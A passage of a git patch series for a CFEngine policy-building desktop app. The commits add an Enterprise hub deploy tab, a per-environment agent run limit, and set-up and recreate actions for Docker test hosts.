up, and results per block across hosts — comes next. - - )} + {target === 'hub' && path && } ); } +function HubSummary({ run }: { run: DeployRun }) { + if (run.action === 'hub' || run.hub.phase === 'idle') return null; + if (run.hub.phase === 'failed' || run.hub.deployed === 'no') return ; + if (run.hub.deployed === 'unknown') return ; + return ; +} + function SshSummary({ running, state }: { running: boolean; state: SshState }) { if (running) return null; if (state.phase === 'deployed') return ; diff --git a/src/renderer/src/components/deploy/EnterpriseHub.tsx b/src/renderer/src/components/deploy/EnterpriseHub.tsx new file mode 100644 index 0000000..e6d0bd3 --- /dev/null +++ b/src/renderer/src/components/deploy/EnterpriseHub.tsx @@ -0,0 +1,568 @@ +import { type ReactNode, useEffect, useState } from 'react'; + +import CheckCircleIcon from '@mui/icons-material/CheckCircle'; +import WarningAmberIcon from '@mui/icons-material/WarningAmber'; +import { Alert, Box, Button, CircularProgress, LinearProgress, MenuItem, Stack, TextField, Typography } from '@mui/material'; + +import type { GitStatus, HubProbe, HubState, SavedHub } from '../../../../preload/api'; +import { HUB_STAGES, startHubDeploy, useDeployRun } from '../../project/deployRuns'; + +type Failure = { details: string; message: string }; +const short = (hash: string | null | undefined) => (hash ? hash.slice(0, 7) : '?'); +// git@host:a/b.git, https://host/a/b(.git), git://host/a/b.git: compared without scheme, user and .git. +const sameRepo = (a: string, b: string) => { + const norm = (url: string) => + url + .trim() + .replace(/^[a-z+]+:\/\//, '') + .replace(/^[^@/]+@/, '') + .replace(':', '/') + .replace(/\.git\/?$/, '') + .toLowerCase(); + return Boolean(a && b) && norm(a) === norm(b); +}; + +const isSsh = (url: string) => /^(ssh:\/\/|[\w.-]+@[\w.-]+:)/.test(url.trim()); + +// git@host:owner/repo.git → https://host/owner/repo.git (for a public repository the hub then needs no key). +function httpsOf(url: string): string | null { + const scp = /^[\w.-]+@([\w.-]+):(.+)$/.exec(url.trim()); + const ssh = /^ssh:\/\/(?:[^@/]+@)?([\w.-]+)(?::\d+)?\/(.+)$/.exec(url.trim()); + const [, host, repoPath] = scp ?? ssh ?? []; + return host ? `https://${host}/${repoPath.replace(/^\/+/, '')}` : null; +} + +function Row({ children, tone }: { children: ReactNode; tone: 'success' | 'warning' }) { + return ( + + {tone === 'success' ? ( + + ) : ( + + )} + + {children} + + + ); +} + +function Failed({ failure }: { failure: Failure | null }) { + if (!failure) return null; + return ( + + {failure.message} + {failure.details && ( + + {failure.details} + + )} + + ); +} + +// Log in: URL, user, password; a self-signed certificate is shown to accept by fingerprint first. +function ConnectForm({ onConnected }: { onConnected: (hub: SavedHub, state: HubState) => void }) { + const [url, setUrl] = useState(''); + const [username, setUsername] = useState('admin'); + const [password, setPassword] = useState(''); + const [probe, setProbe] = useState(null); + const [busy, setBusy] = useState(false); + const [failure, setFailure] = useState(null); + + const connect = async (accepted: string | null) => { + setBusy(true); + setFailure(null); + try { + if (accepted === null) { + const checked = await window.api!.hubProbe(url); + if (!checked.ok) return setFailure(checked); + if (!checked.probe.trusted) return setProbe(checked.probe); + } + const result = await window.api!.hubConnect({ url, username, password, fingerprint: accepted }); + if (!result.ok) return setFailure(result); + onConnected(result.hub, result.state); + } finally { + setBusy(false); + } + }; + + return ( + + + { + setUrl(event.target.value); + setProbe(null); + }} + sx={{ flex: 2 }} + /> + setUsername(event.target.value)} sx={{ flex: 1 }} /> + setPassword(event.target.value)} sx={{ flex: 1 }} /> + + + {probe && ( + void connect(probe.fingerprint)}> + Trust and connect + + } + > + This computer doesn’t trust the hub’s certificate (self-signed{probe.subject ? `, “${probe.subject}”` : ''}, valid until {probe.validTo}). Trust it + only if this fingerprint is the hub’s: + + SHA-256 {probe.fingerprint} + + + )} + + + The password is kept encrypted in your system keychain. The user needs the VCS settings, CMDB and “run agent” permissions (admin has them). + + + ); +} + +// Points the hub at this project's repository: GIT_CFBS, so the hub builds it with cfbs itself. +function VcsForm({ + onCancel, + busy, + git, + onSave, + state +}: { + busy: boolean; + git: GitStatus | null; + // Back to the saved settings (while changing them). + onCancel?: () => void; + onSave: (settings: Parameters['hubConfigureVcs']>[1]) => void; + state: HubState; +}) { + const [repository, setRepository] = useState(git?.remote ?? ''); + const [branch, setBranch] = useState(git?.branch ?? 'main'); + const [subdirectory, setSubdirectory] = useState(''); + const [access, setAccess] = useState<'key' | 'none' | 'token'>('none'); + const [gitUsername, setGitUsername] = useState(''); + const [token, setToken] = useState(''); + const [keyFile, setKeyFile] = useState(''); + const replaces = state.vcs && !(state.vcs.type === 'GIT_CFBS' && sameRepo(state.vcs.url, repository)); + // Over SSH the hub needs a key: without one its ssh refuses the unknown host key, and hosts like GitHub refuse keyless SSH. + const sshWithoutKey = access !== 'key' && isSsh(repository); + const https = httpsOf(repository); + return ( + + + setRepository(event.target.value)} + helperText="As the hub reaches it: usually the project's origin" + sx={{ flex: 3 }} + slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} + /> + setBranch(event.target.value)} sx={{ flex: 1 }} /> + setSubdirectory(event.target.value)} + sx={{ flex: 1 }} + /> + + + setAccess(event.target.value as typeof access)} sx={{ width: 200 }}> + Public repository + Username + token + Deploy key (private key) + + {access === 'token' && ( + <> + setGitUsername(event.target.value)} sx={{ flex: 1 }} /> + setToken(event.target.value)} + sx={{ flex: 1 }} + /> + + )} + {access === 'key' && ( + <> + + + + )} + + {onCancel && ( + + )} + + + {sshWithoutKey && ( + setRepository(https)}> + Use {https.replace(/^https:\/\//, '')} + + ) : undefined + } + > + This is an SSH URL: the hub can only pull it with a deploy key. For a public repository use its https URL; otherwise choose “Deploy key”. + + )} + {replaces && ( + + Replaces the hub’s current source ({state.vcs!.type} {state.vcs!.url} @ {state.vcs!.refspec}). + + )} + + ); +} + +function DeployProgress({ stage }: { stage: string | null }) { + const index = Math.max( + 0, + HUB_STAGES.findIndex(item => item.id === stage) + ); + return ( + + + + + Step {index + 1} of {HUB_STAGES.length} · {HUB_STAGES[index].label}… + + + + + ); +} + +const isPushed = (git: GitStatus | null) => Boolean(git?.repo && git.lastCommit && git.ahead === 0 && git.changedFiles === 0 && git.remote); + +// What the hub runs against what's pushed, and whether there's anything left to push. +function PolicyRows({ fromThisProject, git, releaseId }: { fromThisProject: boolean; git: GitStatus | null; releaseId: string | null }) { + const pushed = isPushed(git); + const current = pushed && releaseId === git?.lastCommit?.hash; + return ( + <> + {releaseId && ( + + The hub runs policy {short(releaseId)} + {current ? ': your last pushed commit.' : git?.lastCommit ? `; your last commit is ${short(git.lastCommit.hash)}.` : '.'} + + {' '} + (The hub reports this every ~5 minutes.) + + + )} + {!pushed && fromThisProject && Commit and push first: the hub builds what’s in the repository, not your local edits.} + + ); +} + +function HubDeployResult({ run }: { run: ReturnType }) { + return ( + <> + {run.action === 'hub' && } + {run.hub.phase === 'failed' && } + {run.hub.phase === 'done' && ( + <> + {run.hub.deployed === 'yes' && ( + + The hub pulled, built and deployed the repository. Its hosts get the new policy on their next run (within ~5 minutes). + + )} + {run.hub.deployed === 'unknown' && ( + + The hub ran its agent, but its output (cut at 4 KB by the hub) doesn’t say how the deploy went. “The hub runs policy …” above shows the result + once the hub reports, within ~5 minutes. + + )} + {run.hub.deployed === 'no' && ( + + The hub couldn’t deploy. Its reason is only in the hub’s /var/cfengine/outputs/dc-scripts.log; the usual ones: + +
  • + An SSH repository URL without a deploy key: GitHub and most hosts refuse SSH without one (and the hub doesn’t know their host key). Use the + https URL, or a deploy key. +
  • +
  • A private repository without a token or key, or the hub can’t reach it.
  • +
  • The branch doesn’t exist, or cfbs build / cf-promises fails on the hub.
  • +
    +
    + )} + + {run.hub.output.trim() || '(no output)'} + + + )} + + ); +} + +// The hub deploys this project: from where, and whether it can pull it at all. +function ProjectSource({ onChange, vcs }: { onChange: () => void; vcs: NonNullable }) { + const https = httpsOf(vcs.url); + return ( + <> + + Deploys this project: {vcs.url} @ {vcs.refspec} (GIT_CFBS: the hub builds it with cfbs).{' '} + + + {isSsh(vcs.url) && !vcs.hasKey && ( + + Change + + } + > + The hub can’t pull this: it’s an SSH URL without a deploy key (the hub’s ssh refuses the unknown host key, and GitHub refuses keyless SSH). Switch to + the https URL{https ? ` (${https})` : ''} for a public repository, or add a deploy key. + + )} + + ); +} + +// Deploy now, only once the hub's saved settings are this project's. +function DeployNow({ + deploysEnabled, + disabled, + editing, + fromThisProject, + onDeploy, + running +}: { + deploysEnabled: boolean; + disabled: boolean; + editing: boolean; + fromThisProject: boolean; + onDeploy: () => void; + running: boolean; +}) { + return ( + + + {editing && Save the settings to the hub first: Deploy now uses what the hub has.} + {!deploysEnabled && fromThisProject && ( + + The first deploy also turns on deploys from version control (a CMDB class on the hub). + + )} + + ); +} + +/** + * Deployment's Enterprise hub tab: connect to Mission Portal's API, have the hub deploy this + * project from its git repository (GIT_CFBS), and Deploy now — what Mission Portal's Build app does. + */ +export function EnterpriseHub({ busy, git, path }: { busy: boolean; git: GitStatus | null; path: string }) { + const run = useDeployRun(path); + const storageKey = `cfpb.deploy.hub:${path}`; + const [hubs, setHubs] = useState(null); + const [url, setUrl] = useState(() => localStorage.getItem(storageKey)); + const [state, setState] = useState(null); + const [failure, setFailure] = useState(null); + const [editing, setEditing] = useState(false); + const [saving, setSaving] = useState(false); + const hub = hubs?.find(item => item.url === url) ?? null; + + useEffect(() => { + let current = true; + void window.api?.hubList().then(list => current && setHubs(list)); + return () => { + current = false; + }; + }, []); + + useEffect(() => { + if (!hub) return; + let current = true; + void window.api?.hubState(hub.url).then(result => { + if (!current) return; + if (result.ok) setState(result.state); + else setFailure(result); + }); + return () => { + current = false; + }; + }, [hub]); + + const choose = (next: string | null) => { + setUrl(next); + setState(null); + setFailure(null); + if (next) localStorage.setItem(storageKey, next); + else localStorage.removeItem(storageKey); + }; + + if (!window.api || hubs === null) return null; + if (!hub) { + return ( + { + setHubs([...hubs.filter(item => item.url !== saved.url), saved]); + choose(saved.url); + setState(connected); + }} + /> + ); + } + + const vcs = state?.vcs; + const fromThisProject = Boolean(vcs && vcs.type === 'GIT_CFBS' && git?.remote && sameRepo(vcs.url, git.remote) && vcs.refspec === git.branch); + const working = busy || saving || run.action !== null; + + return ( + + + + {state ? ( + <> + {state.info.hostname} · {hub.url.replace(/^https:\/\//, '')} · Enterprise {state.info.version} + {state.hosts !== null && ` · ${state.hosts} ${state.hosts === 1 ? 'host' : 'hosts'}`} + {state.info.license && ` · ${state.info.license}`} + + ) : ( + `Connecting to ${hub.url}…` + )} + + + + + + + {state && ( + <> + {fromThisProject && !editing && setEditing(true)} />} + {fromThisProject && !editing ? null : ( + <> + + {vcs ? ( + <> + The hub deploys from {vcs.type} {vcs.url || '(none)'} @ {vcs.refspec} + {vcs.type === 'GIT_CFBS' && sameRepo(vcs.url, git?.remote ?? '') ? ', another branch' : ', not this project'}. + + ) : ( + 'The hub isn’t set up to deploy from version control.' + )} + + {!git?.remote && ( + + Set the project’s remote and push first (Push to a git repository), so the hub has something to pull. + + )} + setEditing(false) : undefined} + busy={working} + git={git} + state={state} + onSave={settings => { + setSaving(true); + setFailure(null); + void window + .api!.hubConfigureVcs(hub.url, settings) + .then(result => { + if (result.ok) { + setState(result.state); + setEditing(false); + } else setFailure(result); + }) + .finally(() => setSaving(false)); + }} + /> + + )} + + + void startHubDeploy(path, hub.url, setState)} + /> + + + )} + + ); +} diff --git a/src/renderer/src/project/deployRuns.ts b/src/renderer/src/project/deployRuns.ts index b8d441b..5d9cde5 100644 --- a/src/renderer/src/project/deployRuns.ts +++ b/src/renderer/src/project/deployRuns.ts @@ -1,6 +1,6 @@ import { useSyncExternalStore } from 'react'; -import type { BuildResult } from '../../../preload/api'; +import type { BuildResult, HubState } from '../../../preload/api'; /** * The Deployment tab's Build and SSH deploy, outside React: a run keeps going (and its result @@ -37,10 +37,20 @@ export const SSH_STAGES: Stage[] = [ { id: 'policy', label: 'Running the policy on the hub' } ]; +export const HUB_STAGES: Stage[] = [ + { id: 'enable', label: 'Turning on deploys from version control (CMDB class)' }, + { id: 'agent', label: 'Running the hub’s agent: pull, cfbs build, validate, deploy' }, + { id: 'verify', label: 'Reading what the hub runs now' } +]; + +export type HubDeploy = + { at: number; deployed: 'no' | 'unknown' | 'yes'; output: string; phase: 'done' } | { failure: Failure; phase: 'failed' } | { phase: 'idle' }; + export interface DeployRun { - action: 'build' | 'ssh' | null; + action: 'build' | 'hub' | 'ssh' | null; build: BuildResult | null; buildFailure: Failure | null; + hub: HubDeploy; // How the last run ended, until the tab is looked at. outcome: 'error' | 'ok' | null; ssh: SshState; @@ -48,7 +58,7 @@ export interface DeployRun { stage: string | null; } -const EMPTY: DeployRun = { action: null, build: null, buildFailure: null, outcome: null, ssh: { phase: 'idle' }, stage: null }; +const EMPTY: DeployRun = { action: null, build: null, buildFailure: null, hub: { phase: 'idle' }, outcome: null, ssh: { phase: 'idle' }, stage: null }; // One per project folder. const runs = new Map(); const listeners = new Set<() => void>(); @@ -127,3 +137,24 @@ export async function startSshDeploy( } export const resetSsh = (path: string) => runOf(path).ssh.phase !== 'deploying' && update(path, { ssh: { phase: 'idle' } }); + +/** Deploy now on an Enterprise hub; `onState` gets what the hub runs afterwards. */ +export async function startHubDeploy(path: string, url: string, onState: (state: HubState) => void): Promise { + if (!window.api || runOf(path).action) return; + current = path; + update(path, { action: 'hub', stage: 'agent', outcome: null, hub: { phase: 'idle' } }); + try { + const result = await window.api.hubDeploy(url); + if (!result.ok) { + update(path, { hub: { phase: 'failed', failure: result }, outcome: 'error' }); + return; + } + onState(result.state); + update(path, { + hub: { phase: 'done', deployed: result.deployed, output: result.output, at: Date.now() }, + outcome: result.deployed === 'no' ? 'error' : 'ok' + }); + } finally { + update(path, { action: null, stage: null }); + } +} From 80f6034983b35d69de9ecebbcf204dad4e22dad4 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Mon, 5 Oct 2026 12:06:35 +0300 Subject: [PATCH 045/141] Test environment settings explain the secrets (.env) file The field read "In the project folder; read at every run, never saved"; it now says what goes in it, what the hosts get, and that it stays out of the project and git. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/components/testenv/EnvironmentSettingsDialog.tsx | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx index 69352d9..52a025e 100644 --- a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx +++ b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx @@ -66,12 +66,17 @@ export function EnvironmentSettingsDialog(props: EnvironmentSettingsDialogProps) onChange({ envFile: event.target.value.trim() || null })} /> From d90add1b89f64537dc5da4dd221c72c5281c3d77 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Mon, 5 Oct 2026 12:07:20 +0300 Subject: [PATCH 046/141] Test environments set how many agent runs a Deploy & run makes Runs repeat until one repairs nothing, at most this many per host (1 to 10, 3 as before by default), saved with the environment. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 8 +++++--- src/preload/api.d.ts | 2 ++ .../testenv/EnvironmentSettingsDialog.tsx | 18 +++++++++++++++++- src/renderer/src/project/cfbsProject.ts | 3 +++ .../src/store/testEnvironmentsSlice/index.ts | 2 +- .../src/store/testEnvironmentsSlice/types.ts | 2 ++ 6 files changed, 30 insertions(+), 5 deletions(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 512c1c5..63cf881 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -289,6 +289,7 @@ def package(query: dict) -> dict: LABEL_ENV, LABEL_HOST, LABEL_CONFIG = "cfpb.env", "cfpb.host", "cfpb.config" CFENGINE = "/var/cfengine/bin" +# Agent runs per host and Deploy & run, until one repairs nothing (the environment's maxRuns, 1-10). MAX_RUNS = 3 # promise_summary.log, one line per agent run (update.cf runs get their own). Community: # "... Promises observed to be kept 97.44%, Promises repaired 2.56%, Promises not repaired 0.00%"; @@ -796,7 +797,7 @@ def _compliance(engine, container) -> dict | None: def run(request: dict, masterfiles_dir: str | None = None) -> None: """Run policy: rebuild (unless just built) and redeploy the current edits, then run the agent on - every host (hub first) until a run repairs nothing, at most MAX_RUNS times.""" + every host (hub first) until a run repairs nothing, at most the environment's maxRuns times.""" env, engine = request["environment"], client() hosts = env.get("hosts") or [] hub_host = next((h for h in hosts if h["id"] == env.get("hub")), hosts[0] if hosts else None) @@ -826,14 +827,15 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: for item in [b["instanceId"] for b in file.get("blocks", [])] + [g["id"] for g in file.get("groups", [])] } dotenv = read_dotenv(request.get("envFile")) + max_runs = env.get("maxRuns") if isinstance(env.get("maxRuns"), int) and 1 <= env["maxRuns"] <= 10 else MAX_RUNS for host in sorted(hosts, key=lambda h: h is not hub_host): if host["id"] not in only: continue container, environment = containers[host["id"]], host_env(env, host, dotenv) emit("host", host=host["id"], state="running") result = None - for number in range(1, MAX_RUNS + 1): - emit("step", host=host["id"], step="run", message=f"Run {number} of {MAX_RUNS}") + for number in range(1, max_runs + 1): + emit("step", host=host["id"], step="run", message=f"Run {number} of {max_runs}") # update.cf's errors are problems too (its compliance isn't in the summary we read). updating: list[str] = [] run_in( diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 11c309a..bd57f53 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -65,6 +65,8 @@ export interface TestEnvironment { hosts: TestHost[]; hub: string; id: string; + // Agent runs per host on Deploy & run, until one repairs nothing (default 3). + maxRuns?: number; name: string; // "latest" or an exact release, e.g. "3.27.1". version: string; diff --git a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx index 52a025e..98c5272 100644 --- a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx +++ b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx @@ -9,7 +9,7 @@ export interface EnvironmentSettingsDialogProps { // The Docker engine's own architecture, when known (another one is emulated). engineArch?: string; environment: TestEnvironment; - onChange: (changes: Partial>) => void; + onChange: (changes: Partial>) => void; onClose: () => void; onDestroy: () => void; onEnvChange: (env: Record) => void; @@ -64,6 +64,22 @@ export function EnvironmentSettingsDialog(props: EnvironmentSettingsDialogProps) sx={{ flex: 1 }} /> + onChange({ maxRuns: Number(event.target.value) })} + helperText="At most this many per host: runs repeat until one repairs nothing (later runs settle what earlier ones changed)." + > + {[1, 2, 3, 4, 5, 6, 7, 8, 9, 10].map(count => ( + + {count === 1 ? '1 (a single run)' : `Up to ${count}`} + {count === 3 ? ' (default)' : ''} + + ))} + = 1 && (environment.maxRuns as number) <= 10 + ? { maxRuns: environment.maxRuns as number } + : {}), hosts } ]; diff --git a/src/renderer/src/store/testEnvironmentsSlice/index.ts b/src/renderer/src/store/testEnvironmentsSlice/index.ts index f8802a5..309fa5b 100644 --- a/src/renderer/src/store/testEnvironmentsSlice/index.ts +++ b/src/renderer/src/store/testEnvironmentsSlice/index.ts @@ -22,7 +22,7 @@ const testEnvironmentsSlice = createSlice({ }, environmentChanged( state, - action: PayloadAction<{ changes: Partial>; environmentId: string }> + action: PayloadAction<{ changes: Partial>; environmentId: string }> ) { const environment = find(state, action.payload.environmentId); if (environment) Object.assign(environment, action.payload.changes); diff --git a/src/renderer/src/store/testEnvironmentsSlice/types.ts b/src/renderer/src/store/testEnvironmentsSlice/types.ts index f455277..98eb19d 100644 --- a/src/renderer/src/store/testEnvironmentsSlice/types.ts +++ b/src/renderer/src/store/testEnvironmentsSlice/types.ts @@ -25,6 +25,8 @@ export interface TestEnvironment { hosts: TestHost[]; hub: string; id: string; + // Agent runs per host on Deploy & run, until one repairs nothing (default 3). + maxRuns?: number; name: string; // "latest" or an exact release, e.g. "3.27.1". version: string; From 2086f144e783e6016f0eb2aeebd576be3b079f59 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Mon, 5 Oct 2026 12:07:49 +0300 Subject: [PATCH 047/141] A test host added after setup is set up from its card MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Its ▶ creates the container, installs CFEngine, bootstraps it to the hub and runs the policy on it; Start can set up just the given hosts (and their hub). The card says it isn't set up yet. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 9 ++++--- .../src/components/TestResultsView.tsx | 1 + .../src/components/testenv/HostCard.tsx | 25 +++++++++++++------ 3 files changed, 25 insertions(+), 10 deletions(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 63cf881..01b12ef 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -665,12 +665,15 @@ def _bootstrapped(engine, container) -> bool: def up(request: dict, finish: bool = True) -> str: """Start: build the policy, make sure every host's container exists and runs CFEngine, deploy - the policy to the hub and bootstrap everyone to it. Returns the built masterfiles.""" + the policy to the hub and bootstrap everyone to it. Returns the built masterfiles. With + `hosts`, only those (and the hub they bootstrap to) are set up.""" env, engine = request["environment"], client() - hosts = env.get("hosts") or [] - hub_host = next((h for h in hosts if h["id"] == env.get("hub")), hosts[0] if hosts else None) + every = env.get("hosts") or [] + hub_host = next((h for h in every if h["id"] == env.get("hub")), every[0] if every else None) if hub_host is None: raise RunnerError("The environment has no hosts") + only = set(request.get("hosts") or [h["id"] for h in every]) + hosts = [h for h in every if h["id"] in only or h is hub_host] # x86-64 by default, also on Apple Silicon (emulated there): the widest set of packages. arch = env.get("arch") or "x86_64" edition, version = env.get("edition", "community"), env.get("version", "latest") diff --git a/src/renderer/src/components/TestResultsView.tsx b/src/renderer/src/components/TestResultsView.tsx index 54854cb..7696863 100644 --- a/src/renderer/src/components/TestResultsView.tsx +++ b/src/renderer/src/components/TestResultsView.tsx @@ -233,6 +233,7 @@ export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, onOpenSettings={() => setEditingHost(host.id)} actionsDisabled={busy || !docker?.available} onRunPolicy={() => void act('run', request([host.id]))} + onSetUp={() => void act('test', request([host.id]))} onStart={() => void act('start', request([host.id]))} onStop={() => void act('stop', request([host.id]))} problems={(runtime.problems[host.id] ?? []).length} diff --git a/src/renderer/src/components/testenv/HostCard.tsx b/src/renderer/src/components/testenv/HostCard.tsx index 1c1efb6..4baa55d 100644 --- a/src/renderer/src/components/testenv/HostCard.tsx +++ b/src/renderer/src/components/testenv/HostCard.tsx @@ -13,7 +13,7 @@ import { PLATFORMS, type TestHost } from '../../store/testEnvironmentsSlice/type type Tone = 'error' | 'info' | 'muted' | 'success' | 'warning'; const STATES: Record = { - absent: { tone: 'muted', label: 'Not created' }, + absent: { tone: 'muted', label: 'Not set up' }, created: { tone: 'muted', label: 'Created' }, exited: { tone: 'muted', label: 'Stopped' }, provisioning: { tone: 'info', label: 'Setting up' }, @@ -55,6 +55,8 @@ export interface HostCardProps { onOpenSettings: () => void; // Run the policy on this host only. onRunPolicy: () => void; + // A host with no container yet: create it, install CFEngine, bootstrap it, then run the policy on it. + onSetUp: () => void; // Start / stop its container (it keeps what's installed). onStart: () => void; onStop: () => void; @@ -65,7 +67,8 @@ export interface HostCardProps { runtime?: HostRuntime; } -type HostActionsProps = Pick & { +type HostActionsProps = Pick & { + absent: boolean; busy: boolean; disabled: boolean; stopped: boolean; @@ -73,12 +76,18 @@ type HostActionsProps = Pick - - - + {absent ? ( + + + + ) : ( + + + + )} {stopped ? ( @@ -159,7 +168,7 @@ export function HostCard(props: HostCardProps) { - {busy && runtime?.step ? runtime.step : [platform, runtime?.ip].filter(Boolean).join(' · ')} + {busy && runtime?.step ? runtime.step : [platform, runtime?.ip, !exists && 'not set up yet: ▶ sets it up'].filter(Boolean).join(' · ')} @@ -204,7 +213,9 @@ export function HostCard(props: HostCardProps) { busy={busy} stopped={stopped} up={up} + absent={!exists && !busy} onRunPolicy={props.onRunPolicy} + onSetUp={props.onSetUp} onStart={props.onStart} onStop={props.onStop} onTerminal={onTerminal} From ea48d40d5cf5e24ea50639dcbf17291b1d74edd9 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Mon, 5 Oct 2026 12:08:19 +0300 Subject: [PATCH 048/141] Test host cards can recreate a host from scratch Recreate removes the container, sets it up fresh from the cached image and runs the policy on it. Recreating the hub makes the other clients forget its old key and bootstrap again (stopped ones are started first). Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_backend.py | 4 ++- python/cfpb_testenv.py | 30 +++++++++++++++++++ src/main/testenv.ts | 2 +- src/preload/api.d.ts | 2 +- src/preload/index.ts | 2 +- .../src/components/TestResultsView.tsx | 2 ++ .../src/components/testenv/HostCard.tsx | 15 ++++++++-- src/renderer/src/project/testRuns.ts | 14 +++++++-- 8 files changed, 62 insertions(+), 9 deletions(-) diff --git a/python/cfpb_backend.py b/python/cfpb_backend.py index eee008b..0e1692c 100644 --- a/python/cfpb_backend.py +++ b/python/cfpb_backend.py @@ -385,6 +385,7 @@ def testenv_command(action: str) -> int: "stop": cfpb_testenv.stop, "start": cfpb_testenv.start, "destroy": cfpb_testenv.destroy, + "reset": cfpb_testenv.reset, } if action == "inspect": cfpb_testenv.inspect(query) @@ -408,7 +409,7 @@ def testenv_command(action: str) -> int: message = str(error) except Exception as error: # Docker SDK / network errors: one line for the UI message = f"{type(error).__name__}: {error}" - if action in ("pull", "inspect", "up", "run", "test", "exec", "start", "stop", "destroy"): + if action in ("pull", "inspect", "up", "run", "test", "exec", "start", "stop", "destroy", "reset"): cfpb_testenv.emit("error", message=message) print(message, file=sys.stderr) return 1 @@ -446,6 +447,7 @@ def main(argv: list[str] | None = None) -> int: "start", "stop", "destroy", + "reset", ], ) args = parser.parse_args(sys.argv[1:] if argv is None else argv) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 01b12ef..ba09777 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -872,6 +872,36 @@ def test(request: dict) -> None: run(request, up(request, finish=False)) +def reset(request: dict) -> None: + """Recreate: removes `hosts`' containers, then sets them up fresh and runs the policy on them. + A new hub has new keys, so the other clients forget the old one and bootstrap again.""" + env, engine = request["environment"], client() + only = set(request.get("hosts") or []) + if not only: + raise RunnerError("Recreate needs the hosts to recreate") + containers = _labelled(engine, env) + for host_id in only: + if host_id in containers: + emit("step", host=host_id, step="destroy", message=f"Removing {containers[host_id].name}") + containers[host_id].remove(force=True) + emit("host", host=host_id, state="absent") + hosts = env.get("hosts") or [] + hub_host = next((h for h in hosts if h["id"] == env.get("hub")), hosts[0] if hosts else None) + if hub_host and hub_host["id"] in only: + for host in hosts: + container = containers.get(host["id"]) + if host is hub_host or host["id"] in only or container is None: + continue + # A stopped client would come back trusting the old hub: start it and re-bootstrap it too. + if container.status != "running": + container.start() + emit("step", host=host["id"], step="bootstrap", message="Forgetting the old hub") + forget = "rm -f /var/cfengine/policy_server.dat /var/cfengine/ppkeys/root-*.pub" + run_in(engine, container, forget, host["id"], "setup") + only.add(host["id"]) + test({**request, "hosts": sorted(only)}) + + def execute(request: dict) -> None: """The terminal: runs a shell command on the chosen hosts, one after another, streaming each one's output; emits a `result`-free `exec` event with its exit code.""" diff --git a/src/main/testenv.ts b/src/main/testenv.ts index 65821c7..b2aba2f 100644 --- a/src/main/testenv.ts +++ b/src/main/testenv.ts @@ -11,7 +11,7 @@ import { type SidecarStream, startSidecarStream, testEnvQuery } from './backend' const BASE_IMAGES = new Set(['ubuntu:22.04', 'ubuntu:24.04', 'debian:12']); // The streaming actions: pulling a base image, checking a custom one, and an environment's Start / Run / Stop / Destroy. -const STREAMING = new Set(['pull', 'inspect', 'up', 'run', 'test', 'exec', 'start', 'stop', 'destroy']); +const STREAMING = new Set(['pull', 'inspect', 'up', 'run', 'test', 'exec', 'start', 'stop', 'destroy', 'reset']); // [registry[:port]/]name[:tag][@digest], as the sidecar checks it. const IMAGE_REFERENCE = /^[A-Za-z0-9][A-Za-z0-9._/:@-]{0,254}$/; const runs = new Map(); diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index bd57f53..ec56f3b 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -346,7 +346,7 @@ declare global { testEnvSearch: (query: { hub: boolean; term: string }) => Promise; /** Starts a streaming action (pull a base image; an environment's up / run / stop / destroy); resolves with the run id its events (onTestEnvEvent) carry. */ testEnvStart: ( - action: 'destroy' | 'exec' | 'inspect' | 'pull' | 'run' | 'start' | 'stop' | 'test' | 'up', + action: 'destroy' | 'exec' | 'inspect' | 'pull' | 'reset' | 'run' | 'start' | 'stop' | 'test' | 'up', request: TestEnvRequest | { arch?: string; image: string } ) => Promise; /** Each host's container as Docker sees it: running, exited, absent… */ diff --git a/src/preload/index.ts b/src/preload/index.ts index c9d1c1d..4a214c2 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -97,7 +97,7 @@ const api = { testEnvDoctor: (): Promise => invoke('testenv:doctor'), testEnvImages: (): Promise<{ platforms: BaseImage[] }> => invoke('testenv:images'), testEnvStart: ( - action: 'destroy' | 'exec' | 'inspect' | 'pull' | 'run' | 'start' | 'stop' | 'test' | 'up', + action: 'destroy' | 'exec' | 'inspect' | 'pull' | 'reset' | 'run' | 'start' | 'stop' | 'test' | 'up', request: TestEnvRequest | { arch?: string; image: string } ): Promise => invoke('testenv:start', action, request), testEnvPlatforms: (query: { diff --git a/src/renderer/src/components/TestResultsView.tsx b/src/renderer/src/components/TestResultsView.tsx index 7696863..b3d4ebf 100644 --- 